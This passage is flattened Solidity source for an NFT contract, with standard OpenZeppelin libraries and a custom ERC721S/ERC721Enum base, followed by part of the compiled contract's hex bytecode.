refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "./ERC721S.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; abstract contract ERC721Enum is ERC721S, IERC721Enumerable { function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721S) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) { require(index < ERC721S.balanceOf(owner), "ERC721Enum: owner ioob"); uint count; for( uint i; i < _owners.length; ++i ){ if( owner == _owners[i] ){ if( count == index ) return i; else ++count; } } require(false, "ERC721Enum: owner ioob"); } function tokensOfOwner(address owner) public view returns (uint256[] memory) { require(0 < ERC721S.balanceOf(owner), "ERC721Enum: owner ioob"); uint256 tokenCount = balanceOf(owner); uint256[] memory tokenIds = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(owner, i); } return tokenIds; } function totalSupply() public view virtual override returns (uint256) { return _owners.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob"); return index; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; abstract contract ERC721S is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count = 0; uint length = _owners.length; for( uint i = 0; i < length; ++i ){ if( owner == _owners[i] ){ ++count; } } delete length; return count; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721S.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721S.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721S.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721S.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721S.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102ca5760003560e01c80636c0360eb11610179578063a0712d68116100d6578063ce7c2ac21161008a578063e33b7de311610064578063e33b7de3146107fc578063e985e9c514610811578063f2fde38b1461086757600080fd5b8063ce7c2ac214610783578063d5abeb01146107c6578063d897833e146107dc57600080fd5b8063a50e89ff116100bb578063a50e89ff1461072e578063b88d4fde14610743578063c87b56dd1461076357600080fd5b8063a0712d68146106fb578063a22cb4651461070e57600080fd5b80638b83209b1161012d57806395d89b411161011257806395d89b411461068357806396ea3a47146106985780639852595c146106b857600080fd5b80638b83209b146106385780638da5cb5b1461065857600080fd5b8063715018a61161015e578063715018a6146105e05780637501f741146105f55780638462151c1461060b57600080fd5b80636c0360eb146105ab57806370a08231146105c057600080fd5b806323b872dd1161022757806344a0d68a116101db57806355f804b3116101c057806355f804b3146105535780635c975abb146105735780636352211e1461058b57600080fd5b806344a0d68a146105135780634f6ccce71461053357600080fd5b80633a98ef391161020c5780633a98ef39146104d65780633ccfd60b146104eb57806342842e0e146104f357600080fd5b806323b872dd146104965780632f745c59146104b657600080fd5b806313faede61161027e5780631916558711610263578063191655871461043c578063200d2ed21461045c578063228025e81461047657600080fd5b806313faede61461040357806318160ddd1461042757600080fd5b8063081812fc116102af578063081812fc1461037c578063088a4ed0146103c1578063095ea7b3146103e357600080fd5b806301ffc9a71461032557806306fdde031461035a57600080fd5b36610320577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be770336040805173ffffffffffffffffffffffffffffffffffffffff90921682523460208301520160405180910390a1005b600080fd5b34801561033157600080fd5b50610345610340366004612c16565b610887565b60405190151581526020015b60405180910390f35b34801561036657600080fd5b5061036f6108e3565b6040516103519190612ca9565b34801561038857600080fd5b5061039c610397366004612cbc565b610975565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610351565b3480156103cd57600080fd5b506103e16103dc366004612cbc565b610a20565b005b3480156103ef57600080fd5b506103e16103fe366004612cf7565b610a8c565b34801561040f57600080fd5b50610419600e5481565b604051908152602001610351565b34801561043357600080fd5b50600254610419565b34801561044857600080fd5b506103e1610457366004612d23565b610be5565b34801561046857600080fd5b506011546103459060ff1681565b34801561048257600080fd5b506103e1610491366004612cbc565b610e20565b3480156104a257600080fd5b506103e16104b1366004612d40565b610e8c565b3480156104c257600080fd5b506104196104d1366004612cf7565b610f13565b3480156104e257600080fd5b50600654610419565b6103e161102f565b3480156104ff57600080fd5b506103e161050e366004612d40565b6110ee565b34801561051f57600080fd5b506103e161052e366004612cbc565b611109565b34801561053f57600080fd5b5061041961054e366004612cbc565b611175565b34801561055f57600080fd5b506103e161056e366004612e44565b6111d2565b34801561057f57600080fd5b50600b5460ff16610345565b34801561059757600080fd5b5061039c6105a6366004612cbc565b611250565b3480156105b757600080fd5b5061036f6112fd565b3480156105cc57600080fd5b506104196105db366004612d23565b61138b565b3480156105ec57600080fd5b506103e161148a565b34801561060157600080fd5b5061041960105481565b34801561061757600080fd5b5061062b610626366004612d23565b6114fd565b6040516103519190612e8d565b34801561064457600080fd5b5061039c610653366004612cbc565b6115f7565b34801561066457600080fd5b5060055473ffffffffffffffffffffffffffffffffffffffff1661039c565b34801561068f57600080fd5b5061036f611634565b3480156106a457600080fd5b506103e16106b3366004612f1d565b611643565b3480156106c457600080fd5b506104196106d3366004612d23565b73ffffffffffffffffffffffffffffffffffffffff1660009081526009602052604090205490565b6103e1610709366004612cbc565b611871565b34801561071a57600080fd5b506103e1610729366004612f9e565b611a88565b34801561073a57600080fd5b506103e1611b85565b34801561074f57600080fd5b506103e161075e366004612fd3565b611c4e565b34801561076f57600080fd5b5061036f61077e366004612cbc565b611cdc565b34801561078f57600080fd5b5061041961079e366004612d23565b73ffffffffffffffffffffffffffffffffffffffff1660009081526008602052604090205490565b3480156107d257600080fd5b50610419600f5481565b3480156107e857600080fd5b506103e16107f7366004613053565b611db5565b34801561080857600080fd5b50600754610419565b34801561081d57600080fd5b5061034561082c36600461306e565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205460ff1690565b34801561087357600080fd5b506103e1610882366004612d23565b611e4d565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d630000000000000000000000000000000000000000000000000000000014806108dd57506108dd82611f46565b92915050565b6060600080546108f2906130a7565b80601f016020809104026020016040519081016040528092919081815260200182805461091e906130a7565b801561096b5780601f106109405761010080835404028352916020019161096b565b820191906000526020600020905b81548152906001019060200180831161094e57829003601f168201915b5050505050905090565b600061098082612029565b6109f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b5060009081526003602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b60055473ffffffffffffffffffffffffffffffffffffffff163314610a875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b601055565b6000610a9782611250565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b3b5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016109ee565b3373ffffffffffffffffffffffffffffffffffffffff82161480610b645750610b64813361082c565b610bd65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016109ee565b610be0838361208d565b505050565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260086020526040902054610c7d5760405162461bcd60e51b815260206004820152602660248201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060448201527f736861726573000000000000000000000000000000000000000000000000000060648201526084016109ee565b600060075447610c8d919061312a565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600960209081526040808320546006546008909352908320549394509192610cd19085613142565b610cdb91906131ae565b610ce591906131c2565b905080610d5a5760405162461bcd60e51b815260206004820152602b60248201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060448201527f647565207061796d656e7400000000000000000000000000000000000000000060648201526084016109ee565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260096020526040902054610d8b90829061312a565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260096020526040902055600754610dbf90829061312a565b600755610dcc838261212d565b6040805173ffffffffffffffffffffffffffffffffffffffff85168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b60055473ffffffffffffffffffffffffffffffffffffffff163314610e875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b600f55565b610e963382612253565b610f085760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016109ee565b610be083838361238f565b6000610f1e8361138b565b8210610f6c5760405162461bcd60e51b815260206004820152601660248201527f455243373231456e756d3a206f776e657220696f6f620000000000000000000060448201526064016109ee565b6000805b600254811015610fe65760028181548110610f8d57610f8d6131d9565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff86811691161415610fd65783821415610fca5791506108dd9050565b610fd382613208565b91505b610fdf81613208565b9050610f70565b5060405162461bcd60e51b815260206004820152601660248201527f455243373231456e756d3a206f776e657220696f6f620000000000000000000060448201526064016109ee565b60055473ffffffffffffffffffffffffffffffffffffffff1633146110965760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b60